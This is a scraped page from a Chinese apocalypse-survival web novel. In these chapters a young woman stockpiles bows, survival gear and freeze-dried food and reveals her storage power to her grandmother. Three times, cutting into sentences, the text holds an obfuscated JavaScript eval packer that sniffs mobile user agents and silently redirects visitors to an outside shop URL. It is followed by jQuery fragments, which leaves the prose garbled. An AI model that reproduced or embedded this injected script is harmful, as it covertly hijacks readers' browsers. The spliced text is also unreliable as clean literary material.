听见书桌上台式电脑发出“叮”的一声，知道是昨晚创建的下载任务完成了，于是走过去创建了新的下载列表。 昨晚回房间后，她打开电脑，在网上买了许多求生书籍、求生知识科普视频的打包资源，包含了这方面国内外的不同内容。 虽然来不及细看，但她相信肯定有用上的时候，而且每个就几块到十几块钱，买不了吃亏，买不了上当，离开平津，这台电脑是要跟着搬到树屋的。 此外还有些打发时间的书籍和视频资源，她准备了好几个移动硬盘来储存，当然这要等重要的东西下载完成后再考虑。 处理完这些，穆叶才做好继续被奶奶质问的心理准备。 她走到周羽萍房间门口，脚步轻轻靠近房门，偏头把耳朵贴在门上听里面的动静。 里面十分安静，没有迹象表明房间的主人是在生气，还是已经气消了。 穆叶直起身，缓缓敲了门三下，握住门把手一点点推开。 想象中的哼哼声没传来，穆叶睁开半闭着的眼睛往屋里看，奶奶正双手抱胸，紧闭双眼靠在床头，一副很不舒服的样子。 她的心跳漏了一拍，快步绕过床尾坐凳，细声询问。 “奶奶你怎么了，你哪里不舒服，要不要去医院？” 周羽萍睁开眼看着她，有气无力地说：“不知道怎么回事，突然开始头疼了。” “疼得厉不厉害，我现在送你去医院？” 周羽萍摆手：“没那么夸张，吃点药就好。” 闻言，穆叶扶着周羽萍到客厅，在沙发上坐下，用热水壶烧上水，再从药箱里找出头疼感冒的药，按照使用说明，掰了一颗拿给她。 穆叶喃喃道：“奶奶，你是不是被我气着了，才突然头痛啊。” 周羽萍接过药，看着孙女嘴角撇着，眉头紧锁，一脸关切，轻哼了声。 “你奶奶就这么脆弱？这些年我可没少为你和你妈操心，这就被气着，那我早气死了！” 穆叶不让她随便说“死”字，伸手去捂她嘴。 周羽萍仰头躲过穆叶的手：“呸呸呸，行了吧！我估计就是出去买菜，淋了点雨感冒了，吃药就好了。” 穆叶心里放松了些，给她倒热水吃药，自己则站在窗边观察外面的世界。 灰暗的天幕上看不见一点太阳，厚厚的乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204771|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云笼罩着这片天空。 她觉得这些云好厚好近，好像伸手就能触摸到。 但不同于高原城市蓝天白云的轻盈感，这个环境带来的是深深的压抑感，让人觉得喘口气都费劲。 穿过小区楼房的间隙，远处，高架桥上慢速行驶的车频繁踩刹车，伴随车尾灯一起响起的是刺耳的喇叭声。 楼下，还有打伞的人在溜穿着橘色雨衣的金毛狗，狗嘴探出池塘栏杆，伸舌头舔了舔荡着一圈圈涟漪的池水，下一秒狗头就收获了一个暴击。 总感觉有点奇怪。 穆叶目光游离，飞快转动大脑思考这其中到底有哪里不对劲。 下雨坚持遛狗的人？ 非高峰时段却阻塞的高架桥？ 还是……乌云厚重却只是下小雨的天气？ 周羽萍端着杯子，目光追逐着窗边穆叶的身影。 看见她神情忽然变得严肃，“唰”一下拉开玻璃窗，伸手接了一捧雨水，定睛看了会儿后猛地把手里雨水甩出去，后退一步关窗到厨房里洗手。 心里还是疑惑，但自从昨天穆叶回来，已经做了太多让她疑惑的事了。 见怪不怪，周羽萍保持表情平静。 穆叶洗干净手，抽了张纸擦干，走出厨房认真叮嘱周羽萍： “奶奶，这几天你千万别出门，有什么需要的告诉我就行，这雨里，有不好的东西……嗯，前两天的新闻说平津空气污染加剧了。” 她快步回到卧室，打开这里的窗户，重新接了一捧雨水，再次使用【鉴定】。 是相同的结果，红色数值【288】。 刚刚在客厅窗前思考，某一刻，她忽然抓住了关键。 中介小哥提到的“突如其来全国范围降雨”，和异样的云层形态，是否有可能是末世的前奏呢？ 视野里的系统面板虽然远离了本体，但从没下线过一刻。 【商城】、【邮箱】、【鉴定】和未解锁的【扫描】，其中好像只有【鉴定】能在这时候用用看。 于是穆叶就得到了红色的【288】这个结果。 紧接着对厨房自来水鉴定，得到黄色的【53】。 在她寥寥几次使用【鉴定】的经历中，从没见过【288】这么高的数值，不管红色和黄色代表什么，这雨肯定有问题。 她不能让奶奶冒一点险。 - 午饭后，穆叶收到了中介小哥的消息。 那家人没看上她们的房子，倒不是价格太高或房子不好，而是觉得这里风水不行。 中介小哥说离开她家几小时后，那小孩就开始发烧，现在去医院看病了。 穆叶思忖大概是淋了雨的缘故，难免有些失望，但也只回复没事，让中介小哥继续帮她找买家。 数值异常的雨，让她奶奶和一个十岁左右的小孩，接连生病发烧，由此推断，【鉴定】数值红色，可能表示被鉴定物会对人产生负面影响。 可之前平板电脑红色的【13】又是什么意思，一台平板那能造成什么负面影响？ 总不能是近视吧！ 穆叶晃了晃脑袋，拿抹布擦好餐桌，找来一叠白纸计算现在的剩余资金和要卖的物资。 周羽萍头痛缓解了很多，理了理冰箱的菜，她洗了碗草莓端给穆叶，不经意间看到了白纸上写的东西。 是一排排数字，偶尔写了些商品名，穆叶好像在算什么钱。 心里一些猜想被验证了，不管是卖包包项链，还是要卖房，都是因为买东西缺钱。 周羽萍回房间拿来钱包，抽出一张银行卡放在穆叶面前的桌上。 对上穆叶疑问的眼神，周羽萍在旁边坐下解释道：“我这辈子攒的钱，里面有你爷爷的一份，都在这里了，你缺钱用就拿去吧。” 穆叶眨了眨眼，把卡推回去拒绝了。 “不用奶奶，这是你的钱，我不能拿你的。” 她当然知道奶奶有存款，而且不止有十几万，也有过动用的念头。 但一想到这是奶奶和爷爷一笔笔辛苦攒的，且不同于爸妈做生意，完成订单就有可观的资金进账，奶奶每个月只有那点固定的退休工资，穆叶真不忍心拿她的钱，想等最后关头再用的。 “但你现在不是缺钱吗，”周羽萍握住她的手，“直白地讲，我没法眼睁睁看着你把房子卖了，如果你有非买不可的东西，因为没钱想卖房，那我宁愿把钱给你，留下我们的房子。” “是有缺钱的原因，但也不只这个——” “——有这原因你就把钱拿着。” 穆叶抚摸着银行卡上凸起的卡号，心里明白这是奶奶提出的条件交换：拿了钱就不能动房子。 在今天这场雨之前，穆叶从来没有观察到重启的迹象，更无法确认倒计时的真实性。 那会儿如果奶奶给她几十万，让她别再打房子的主意，出于保守考虑，她或许就同意了。 但一场雨、两个病人、一个异常数值告诉她，末世是真的会在剩下14天倒计时结束后到来。 到时候，新的货币形式和交易秩序建立起来，食物会成为第一稀缺的资源，房子这种旧秩序中的保值品，只怕标价五块压缩饼干都找不到买家，留在手里根本没用。 所以只能说句对不起了。 穆叶避开奶奶的视线，平静地收下了那张银行卡。 钱是要用的，房子嘛，也还是要卖的。 14. 第 13 章 穆叶有了钱，第一件事就是把买车欠林沅辰的20万尾款付清。 收到他确认的消息时，穆叶刚把车停在弓箭器材店所在商场的地下停车场。 林沅辰说虽然晚了几天，但穆叶还是如数把钱给齐了，她也算守诺。 穆叶回了个笑脸，说看他没来催，以为不在意这点钱呢。 林沅辰说那不能，虽然他确实有钱，但从小就被教育要尊重钱。 穆叶看着手机轻哼了声，回消息说她从父母那学的第一课就是诚信。 还清金额最多的外债，穆叶感觉一身轻松，她收好手机，下车开始今日份囤货。 首先要去买她心心念念的复合弓。 弓箭器材店在三楼，走到店门口，先传入耳中的，是箭矢破空钉入靶子的声音。 “锵……” “锵……” 细而坚硬的物体以飞快的速度和另一个物体碰撞的声音，只是听见，就让她不由自主起了一身鸡皮疙瘩。 正对门口的墙上，挂着不同颜色、不同类型的弓箭，旁边是各种箭袋箭筒，下面的货架上，用长方形盒子装着不同长短、材质的箭。 中间区域的几个货架上，是不同类型弓箭会用到的配件，玲琅满目完全看不过来。 再往里就是体验弓箭的地方，刚好有个女生在射箭。 穆叶能认出她手上拿着的是反曲弓，抬高手臂瞄准后，随着紧绷的肌肉放松，箭射入靶心，靶纸后面填充着干草的软包掉出一些碎屑。 站了片刻，等这个女生把箭筒里最后一支箭射出，终于放下手里的弓，过来招待穆叶。 聊了几句才知道，她就是这家弓箭器材店的老板。 得知穆叶想买复合弓，她很热情地带着穆叶到挂满弓的墙边挑选，但问了几个问题就发现，穆叶完全是弓箭小白，材质配件那些都不懂。 这怎么行！ 她带穆叶到射箭区，用店里的体验弓讲解组成结构、必须买的配件等等，让穆叶更深入地了解了复合弓的优缺点。 扫过盲后，老板才觉得奇怪，穆叶刚接触弓箭，就要下血本直接入手一套吗。 对此，穆叶虚构了一个爱玩弓箭的男友形象，表示这是一份礼物。 最后她拿下了一把配全装备，包括撒放器、瞄准器、护指、弓包等的复合弓，和一把耐用不易故障的传统弓，同样装备齐全。 先前她只考虑上手的难易程度，却忽略了复合弓结构复杂、零件繁多，轻微的磕碰都可能导致精准度下降，但凡一个零件出问题，在末世环境下，整把弓就只能报废了。 而传统弓能发挥多少作用，主要还是看射箭的人，准头和臂力什么的，后天努力练习肯定可以补足的。 她要了60支碳箭，数量虽然少，但可以网购，箭头只是普通的靶箭头，店里没有狩猎箭头卖，毕竟在市区商场里，那种危险物品会有些麻烦。 不过老板推荐了靠谱的网店，穆叶在这家店下单了100个宽刃箭头和100个渔猎箭头。 心满意足离开，穆叶开车前往下一个店铺，是之前提过的求生装备店。 这里的商品比起户外用品店的，明显专业太多了。 20L的加厚液体袋、固体燃料块、手压净水器、净水药片、折叠刀、折叠撬棍、低温电池、超大容量充电宝、强光手电、小型斧头、化学荧光棒…… 这些东西价格都不便宜，但是很实用，穆叶短暂地放弃了收集任务，大量购入了这些生存必备品。 此外，这家店还卖脱水食品。 这种食品便于储存，有效延长了那些容易腐坏的新鲜食材，也算是求生必备了。 她原本还想去找专卖店，在这碰上真是意外之喜了，省了不少事。 穆叶要了50公斤免煮燕麦、看上去像狗狗零食的脱水鸡肉、牛肉、猪肉和海鲜，只剩营养价值的冻干蔬菜混合包，以及30公斤味道还不错的混合冻干水果。 冻干的肉和菜经过复水，可以煮成汤或煮进粥里，补充蛋白质、维生素等营养物质 最后是5箱共30L的冷榨椰子油和5箱共15公斤的花生酱。 这会儿她倒是没那么心疼钱了，反正目标明确，钱早晚要花掉的，加上又获得了【500？？？】的奖励，穆叶心里还觉得挺值。 算算到现在，她获得的奖励数量已经超过3500了，这个过程比想象的容易。 距离树屋第一次升级需要的【5000？？？】，只剩三分之一不到。 已经过了饭点，穆叶想留出晚上的时间清点物资、填物资储备表，于是结束了今天的购物，开车往家的方向去。 - 回到家已经八点半。 晚高峰时期从城东到城西，高架桥上堵得那叫一个昏天黑地。 穆叶饿得不行，拆了包冻干无花果垫肚子，直到果干吃完，才看见小区大门，只好在门口面馆点了碗牛肉拉面作晚饭。 家里开着客厅灯，空气里飘着股淡淡的药味。 穆叶雀跃地喊了声奶奶，换好鞋，走到客厅中间放着的两个塑料袋前。 她指着，眨巴着眼睛问：“这些是带走的衣服吗？只收拾了这么点啊，没事，明后天还有时间。” 下午出门前，她提了一句让奶奶收拾要带走的衣物。 但这两包，像是随手扔出来的垃圾的东西，足以证明奶奶没把她的话当回事。 周羽萍端着药，另一只手拿着手机，张了张嘴巴，像是有话要说。 穆叶脚尖一转，在她身旁坐下，抬手理了理她裹在一起的衣领，“奶奶，下午怎么样，吃药了吗，头还痛不痛？” “你想卖房的事，”周羽萍停顿了几秒，接着说，“你爸妈已经知道了。” 穆叶的笑容一下消失了。 她站起来睁大眼睛看着周羽萍，不可置信地喊了声“奶奶”。 “我们不是说好先不讲的吗，”穆叶皱着眉，身体转过去又转回来，还是缓解不了心里的郁闷，急切地说，“为什么啊，奶奶！你知不知道我想方设法做计划，再一步步实施有多不容易，爸妈他们我自有安排，现在提前说了，我的计划就被打乱了。你怎么就不能理解我呢！” “我不理解你？” 周羽萍气笑了，咣当把杯子放茶几上，也决定把话摊开说：“那你说说，你的那些计划是什么，你做了些什么？” “其次，你要把房子换成钱，究竟买什么需要这么多钱？你怎么能确定卖房就可以解决你遇见的问题？” “最后，我中午拿钱给你，你也答应了不卖房，为什么还要收拾东西回小尧村？” 一口气说完三个问题，周羽萍抚着胸口把气喘匀。 “房子虽然登记了我的名字，但始终是你爸妈的财产，将来也会给你。你要卖房，还要我帮你瞒着，总该拿出点让我相信必须这么做的证据吧！遮遮掩掩，要我怎么支持你？” 穆叶仰头呼出口气，颓丧地倒坐在沙发上，双手捂住脸，压低嗓音发出了崩溃的喊声。 沉默了几分钟，穆叶猛地放下手站起来，长时间按压眼部导致眼前一片模糊。 胸中有股撒不出去的气，她走到客厅中央，在那两包像垃圾的衣服前蹲下。 她锁定其中一包衣服，虽然知道要在其他人面前展示系统能力是不可能的，但她还是尝试这么做了。 “我也想拿出证据来啊，但就是拿不出——” 穆叶理所应当地认为做不到，下一秒，锁定的衣服却消失了。 就当着周羽萍的面，在她们两双眼睛的注视下，被收进了随身空间。 周羽萍“噌”一下站起来，一脸“刚刚发生了什么”的表情，提高声调问：“小叶子，那是什么？你做了什么？” 穆叶也答不上来。 她像是被人敲了一棍子，左右脑各自震动，无法调动任何思维能力。 为什么？ 末世的认知不是禁止出现吗，为什么现在能向别人展示系统能力？ 她怀疑限制解除了，想张口说出末世即将到来的消息，却还是不行，奶奶还在一旁拽着她问，表情从开始的惊奇变得有些惊恐。 兴许是明白穆叶受到了很大的冲击，系统有自主意识的那部分说话了。 声音有些无奈，它说：【不是你想的那样。】 【如果按照你的想法，你甚至不能在树屋外使用随身空间。】 说完这两句话，系统又跑了。 穆叶花了几秒，想明白了系统的意思。 如果末世的认知禁止出现在这个世界，那系统能力也会被禁止使用，因为系统和末世是共生的。 所以末世的消息被限制告诉别人，原因却并不是她想的那样吗？ 随着更多信息的获取，世界重启的谜团变得越来越复杂，穆叶越发好奇了。 但当务之急，是先向奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213990|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶解释。 继续一言不发由她胡思乱想，恐怕一会儿她该报警了。 穆叶安抚住周羽萍的情绪，让她先坐下，然后用面前的遥控器、水杯等物品，重新展示了随身空间的功能。 周羽萍抱着刚拿出来的那包衣服，神情恍惚，努力接受自己看到的一切。 她不会用“超自然”那样现代的词语来形容，这也绝不是村里搞迷信活动拜的神神鬼鬼，非要说点什么，周羽萍只能想到“外星人”。 外星人开的飞船会发出“咻咻咻”的声音，在原地闪烁一下，就跳到下一个地方了。 这不就和穆叶刚刚展示的，眨眼之间物品消失又出现一样嘛。 好不容易从震惊的状态里找回平静，周羽萍用陈述的语气说：“这就是你一直隐藏的秘密，就是你卖房子的原因。” “这只是其中一部分，”穆叶点头，又解释，“之前我一直认为有我以外的人在场，就无法使用这个功能，不是故意要瞒你的。” 周羽萍想也是这样，穆叶说“这个功能”，那或许还有其他功能。 她被允许使用这些特殊功能，自然会有必须遵守的规则，这些话不能说，确实不怪她。 “什么时候开始的？” “就是回到小尧村的那天。” “那你后面说的出差，也是在忙这件事吗？” “嗯，当时请了病假，现在是真的辞职了。” “……行，我知道了。” 沉默了一会儿，周羽萍在茶几上杵了一下借力站起来，叫上穆叶去了她的卧室。 穆叶坐在床尾坐凳上，看着奶奶打开衣柜门，从放围巾的抽屉最底下，抽出红色的房本，放在她手上。 穆叶：？ “拿去吧，”周羽萍靠着她坐下，声音不再紧绷，“既然是这种情况，拿给你肯定比留在这更有价值，家里的东西我明天开始收拾，你去做你该做的。” 她只问了些无关紧要的问题，关于展示出的空间收纳，或者说关于系统，一点都没提到。 为了这件事，穆叶和奶奶争吵到了从没有过的激烈程度，现在她就这么轻易相信了吗？ 穆叶：“奶奶，你不想问点别的，我说的这些你都能接受吗？只是因为我展现了收纳物品的能力，你就相信我，把房子交给我了？” “我问了，你能说吗？” 穆叶摇头。 周羽萍失笑，拉过她的手，“你啊，我发现你这小丫头，一直在小看我啊。” “你才二十几岁啊，我今年可就六十七了，见过的人、经历过的事有三个你那么多，虽然我文化不高，但我有经验和直觉，什么时候该怎么做，我从没有选错过。” 穆叶愣了愣，好像确实是这样，她真的把奶奶当成了什么都不懂、需要她帮忙、需要她照顾心情的小孩。 她忘了奶奶是什么样的人。 十六岁进入纺织厂当工人；十九岁以突出的能力超过一众男工人，当上小组长；二十岁借钱盖房子，在生了孩子的前提下，只用三年就把借款还清；二十六岁主动向厂里争取经费去外省学新技术，回来半年，就让整个工厂工人都掌握了新技术；三十二岁评上劳动模范，成为工人榜样；三十九岁举报新厂长贪拿设备维修金，在配合调查同时，维持工厂安全生产零事故393天…… 这样的奶奶，恐怕不需要她面面俱到的保护，相反她还应该多问奶奶意见，多向奶奶学习。 穆叶露出点笑容：“但这次和以往不同，你就不怕判断错误吗？” “谁还不能犯错了，”周羽萍打了她手掌一下，逗她玩，“大不了说是你怂恿的，唉，都是溺爱孩子犯的错，老了老了，还把房子搞没了。” “干嘛说得那么可怜，我们在云山还有房子啊……”穆叶嘟囔道。 周羽萍笑出了声，抬手揉穆叶的脑袋，把她齐肩长的柔顺头发弄得乱七八糟。 “反正，现在这不是你一个人的事了，有拿不准主意的、不知道怎么办的、要帮忙的事，都要告诉我，听见没？” 穆叶点头，扑进奶奶怀里，闻着她身上温馨的洗衣液香味，轻声说好。 温情场景没持续多久，周羽萍音量炸耳的手机铃声就响了起来。 她从口袋里摸出手机看了眼，神情莫测地把屏幕转向穆叶。 来电显示“小芮”，这通视频电话是她爸妈打来的。 穆叶抬头，和周羽萍对视。 15. 第 14 章 “卖什么房？” “想啥呢，我告诉你不可能啊！看奶奶干嘛，你还怪她打小报告啊？转过来看我！” 手机屏幕被穆诚的一张脸占满，随着他说话，眉心的川字纹和眼尾纹就跟着挤动两下，高挺的鼻梁上，有一块小小的暗斑。 记得他第一次注意到这块斑纹时，盯着看了半天，晚上喝了杯白酒，才幽怨地对妻子女儿说自己长老年斑，步入老年人行列了。 他唇周有灰黑的胡茬，是折腾着蓄过山羊胡、八字胡后，放弃挣扎，让胡子自然生长的结果。 画面忽然拉远，露出穆诚近期变圆润的双下巴，他穿着灰毛衣，圆形衣领压住板正的白衬衫。 一道柔和的女声说：“你把手机拿远点，让小叶子看你的大脸做什么。” 随后，声音的主人就出现在穆诚身后，在桌面放下一碗水果。 杨静芮倚着穆诚，双手搭他肩上，穿着暖白色连衣裙，微卷的长发分成两半披在胸前，眼睛和嘴角都带着笑意，隔着屏幕，看不清岁月在她脸上留下的痕迹。 穆叶收回看向奶奶的视线，讪讪喊了声妈。 杨静芮挥手打招呼，另一只手推推丈夫，让他吃水果。 穆诚摆手拒绝，开始回忆往事。 他说起当年怎么被连锁品牌抢走生意、面对困难决定开拓北方市场、为了保持家庭完整性，在平津房价那么高的地方贷款买房等等，试图用这些过去，让穆叶知道平津这套房的来之不易。 “——行了，说不到重点上，旁边吃水果去吧。” 穆诚最爱和人聊年轻往事，隔三差五就要搬出来讲讲，好几次别人听得云里雾里，他自己把自己感动哭了。 杨静芮知道丈夫感性，他平常讲这些老掉牙的事，多数情况她会给足尊重听完，但现在显然时机不对。 她白了穆诚一眼，拿走手机在桌子另一边坐下。 穆诚一点没有被拆台的尴尬，端起水果碗站她身后，用橙子塞住嘴巴，做一个安静的听众。 “小叶子，你为什么想卖房？” 杨静芮开口就直击要害。 她在中学教了十年语文，有五年当班主任的经历，虽然离开学校也很久了，但眼神还和那时一样温柔又犀利。 说起正事，偶尔也会切换到“审学生”的状态。 被审的穆叶慌了一下。 怎么有种回到中学时期，被班主任联合她妈审问为什么成绩下降的感觉呢…… 只是“为了全家好，相信我”这样的话，连奶奶都说服不了，更何况她爸妈？ 所以穆叶决定像刚刚一样，用事实说话。 结果又不行了，她尝试收入面前的纸巾盒，纸巾盒一动未动。 见鬼。 穆叶对着奶奶微微摇头，周羽萍一下就读懂了她的意思。 无声中，她们飞快达成共识——暂时不讲。 但想卖房的话都说出去了，总要解释这想法从何而来吧。 杨静芮还在等，穆叶不知道奶奶怎么说的，怕瞎编个理由会穿帮。 下一秒周羽萍就靠过来，一脸懊悔地解释，“都是误会，是我没了解清楚，瞎紧张了。” 她说因为昨天听见穆叶打电话，说想卖房离开平津，还认真地征求她的想法，她就着急了。 等今天白天问了才知道，穆叶和公司主管大吵一架，一气之下辞职了，又担心下次找工作背调会被差评，所以才破罐子破摔，想离开重新找个地方发展。 “我听完就放下心了，忘了告诉你，但你也没来问，我想你没当回事呢，谁成想这会儿你俩又打电话来了！” 虽然有说不通的地方，但杨静芮一向听妈妈的话，穆诚一向听老婆的话，周羽萍又倒打一耙说他们不够关心穆叶，两人立刻就被唬住了。 甚至听得穆叶都混乱了一下，偷偷在桌子底下竖大拇指。 弄清楚原委，杨静芮柔声向穆叶道歉。 他们最近因为工厂的事，忙得焦头烂额，确实缺少对她和奶奶的关心。 “其实我们早上就想打电话来的，但今天原材料来了要去厂里，忙起来就忘了，晚上又和简柔她家吃饭，现在才回来。” 说到宋简柔，杨静芮笑起来：“你还记得宋阿姨吗？就是我们的邻居，原来和妈妈一起在六中教书的阿姨，你没少去她家蹭饭。” 穆叶点头，脑海里浮现出一张爱笑的脸。 “宋阿姨没退休还住这呢，我们回来第一天，人家就送了香蕉和丑橘来。” “虽然这些年我俩还有联系，但太久没见面我总担心会生疏，结果今天吃饭，我们还像以前那样无话不谈。” “对了，她儿子谢知白也从国外回来了，就是前晚吧，推着三个大箱子在楼下，我和你爸看见，就去搭了把手。你不知道，那孩子长开了，五官帅气精致，身材高大，有礼貌，还变得很健谈，和小时候做你跟屁虫那会儿完全不一样……” 谢知白…… 啊，是说小白呀。 穆叶有点恍惚，这名字很多年都没听过了，倏然提起，感觉像上辈子认识的人。 杨静芮当老师的时候，六中有一批购房优惠名额，杨静芮幸运抽中，在离六中不远的金橡小区买了房。 宋简柔买在她们对面，她和杨静芮同为六中老师，一个教语文一个教数学，还有同龄的孩子，一来二去关系变得很亲密，谁家有事，小孩就会被接到另一家吃饭、做作业。 六年级时，宋简柔和丈夫谢正澜去医院照顾老人，那一个月，谢知白就被安排在穆叶家，早上送去上学，晚上接他放学，一直到睡前，才把他送回自己家。 谢知白实际大穆叶几个月，在学校比她高一级，杨静芮让她喊哥，但穆叶认为他们年纪差不多，喊哥感觉莫名低他一头，打死也只叫“小白”。 杨静芮因为称呼问题说了她好几次，但是谢知白本人毫无意见，照样跟穆叶同进同出。 穆叶一喊“小白”，不管是帮她拿书包还是跑腿买零食，指哪打哪，宋简柔就调侃他，干脆去穆叶家做童养夫好了。 后来他们搬去平津，那天飞机临时从晚上改签到了下午，就没来得及和谢知白好好道别。 再之后就只从杨静芮和宋简柔偶尔的聊天中，得知他的情况。 他参加比赛拿了奖、申请了国外的大学、读了研究生、在国外找了好工作，过上了很多人梦寐以求的人生。 穆叶现在想想挺不好意思的，小时候那些行为确实有点欺负人了。 杨静芮絮絮叨叨说了一长串话，穆叶没细听，只知道最后妈妈问她觉得如何。 “嗯？什么？” 穆叶倒带她的话，想起最后两句瞬间无语了。 “都是同龄人，你们加个好友聊聊天吧。” 她是真没时间陪他们闹了，穆叶看向奶奶求助。 这个忙周羽萍帮不上，给了个“后面你自己应付”的眼神，就起身去厨房收拾东西了。 穆叶其实也想爸妈，略过那个话题后说了些闲话，轻松的氛围让她差点忘了现在的处境，直到看见奶奶搬着两大包面粉，才清醒过来和爸妈说再见。 杨静芮还有点不舍：“反正你都辞职了，趁这机会，不如来云山玩吧？” 穆叶谢绝：“我还是好好陪奶奶吧。” - 生活了十年的房子，里面的东西比看上去多得多。 穆叶和奶奶两个人搬到凌晨，才把厨房的东西清理完，周羽萍还想继续清理杂货间，但被穆叶劝住了。 年纪是门槛，奶奶身体再好也经不住熬着夜折腾。 何况她早上刚淋过雨生了病，要是为了这些可有可无的物资，加重病情或是拉伤筋骨，那才是真不值。 于是她们今天起了个大早接着收拾。 “好了，把这些装走吧，”周羽萍系好束口带，拍了拍面前几个白色大塑料袋，“要不在袋子上写点字，不然装的什么过几天就忘干净了。” 穆叶从电脑里抬起头说行，“放着吧奶奶，你去休息，我一会儿来写。” 她刚刚又网购了一批物资，现在正对着手机网购的订单，把这两天杨家村仓库收到的货，什么种类、数量多少，一项一项填进物资储备表里。 周羽萍拍拍手上的灰，从小凳子上站起来，倒了热水吃药。 她喝了口水吞下药片，“今天什么安排，你不出门了吗？” 穆叶拿来记号笔，在打包好的塑料袋上做标注，听见奶奶问话，点了点头。 “没需求就先不出去了，很多东西我都网购了，家里我们自己的物品得好好收拾啊，而且下午有人来看房，我出门未必能赶回来。” “又有看房的，”周羽萍意外她们的房子居然这么受欢迎，“再着急也得卖个好价啊，咱们也是辛辛苦苦赚的钱买的。” 穆叶把东西收进空间，有点遗憾说，“肯定要比市场价低，着急卖只能让点利，不过也不会低太多，奶奶你放心。” 周羽萍叹了口气，穆叶情绪也不高。 不怪奶奶舍不得，爸妈贷款买房攒钱还债有多不容易，她比谁都清楚。 况且奶奶对末世的事一无所知，到现在做的决定全凭直觉和相信，自然不清楚卖房能给一家人换来什么。 但如果不降价，周边这么多在卖的房子，何必买她家的呢。 接下来三个半小时，两人加快收拾东西的速度，期间穆叶出去了一趟，开车到最近的商场，买了40个被子收纳袋，用来装家里的被子和衣服。 路过内衣店时，想到末世不知道会持续多久，就进去给每人买了5套内衣内裤、4套加厚秋衣秋裤和5盒袜子，加上家里现有的应该够用。 室外还在下雨，从昨天开始就没停过，且雨势也比昨天大些。 她不小心淋到一点，但没觉得不适，大概是她体质还行，对雨里的东西不是很敏感。 之后回家继续收东西。 奶奶拿出了当年在厂里组织生产的干劲，一开始这舍不得丢那也想要，全往包里塞，到后来也能客观地判断哪些用不上。 穆叶把她房间里的闺蜜机带走了，还有前两年买的游戏机和卡带，全部收进了空间里。 天灾求生环境下，人很容易出现心理问题，还是得找点方式调剂。 一个早上收完了杂货间和穆叶的衣服被子，直到外卖送来，她们才停下吃午餐。 穆叶把电脑放在面前，在键盘上敲敲打打，物资表里又多了几行。 5袋大米、3桶调和油、1箱阿胶、5盒虫草、1箱泡椒牛肉面、半箱红烧牛肉面、5包辣椒面、1箱柿饼、3袋杏干、3桶洗衣液、3瓶洁厕灵，2箱龙须面…… 除了这些，还有意外之喜。 山地自行车，天灾后理想代步工具，两脚一蹬就能走出去十几公里，还不容易出故障； 滑板车、扫把拖把套装、两个新电饭煲、酸奶机、咖啡机、冰激凌机、电火锅、烤肉锅、露营车、露营灯、帐篷、工具箱、家用楼梯、两卷尼龙绳…… 有些立刻就用得上，有些暂时没想到使用场景，但感觉有用，也不能放过。 还有本刚搬来买的平津旅游大全，但她们之后留在小尧村，指定是用不上的，不要。 最后是孤零零的一根钓鱼竿。 这是她爸几年前一时兴起买的，当时是一整个钓具包，配齐了基础配件。到现在，配件丢得只剩杆了，但使用次数一只手就能数过来。 鱼肉算是野外最容易获取的食物，且营养价值丰富，没有野兔野鸡那么难捉，只要有鱼竿，再弄点饵料，完全可以实现丰收。 这根破鱼竿她肯定是不要的，但受此启发，她觉得后面有必要去趟渔具店，买点靠谱的钓鱼装备。 - 中介小哥带着第二波买家来时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223812|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穆叶刚好扔完垃圾回来。 这次的买家是一对中年夫妻，穿着比较朴素，没什么名牌，男人的棕色围巾还起满了毛球。 一进门夫妻俩就打招呼说打扰了，低头看见准备好的一次性拖鞋，又是一阵谢谢。 穆叶对他们感观挺好的，和中介小哥一起带着看了房。 夫妻俩马上40了，在平津打拼了十多年，一直带女儿租房住。他们心里一直有一个买房的梦想，但架不住攒钱的速度永远赶不上房价上涨的速度，梦想只能变成空想。 原以为这辈子只能租房了，没想到碰上这套房子。 周边超市、补习学校、菜市场齐全，却比市场价低了接近四分之一，这次买不到，恐怕这辈子都买不到了。 穆叶和他们聊得挺好的，但总觉得他们的态度过于小心翼翼，还带点恭维。 直到看房结束，说起价格时，她才明白为什么。 “等等，所以你们没办法全款买房吗？” 穆叶抬眉看向中介小哥，“我不是说了只要能全款支付的买家吗！” 中介小哥也是才知道，惊得后退一步：“不对啊赵先生，我问的时候你说能全款的呀，不然我都不会带你们来。” “不好意思，真是对不起，我们是撒谎了，我们就想和房主当面谈谈，”男人的头要低到地上去了，声音也很低沉，“在平津就算租房也要不少钱，我女儿马上高考，这些年给她补课没少花钱，两边老人年纪大了，我俩没法去照顾，只能每月给些营养费。” 女人接上话：“我们确实没有攒够钱，现在把银行里全部钱拿出来，也只够付一半。” 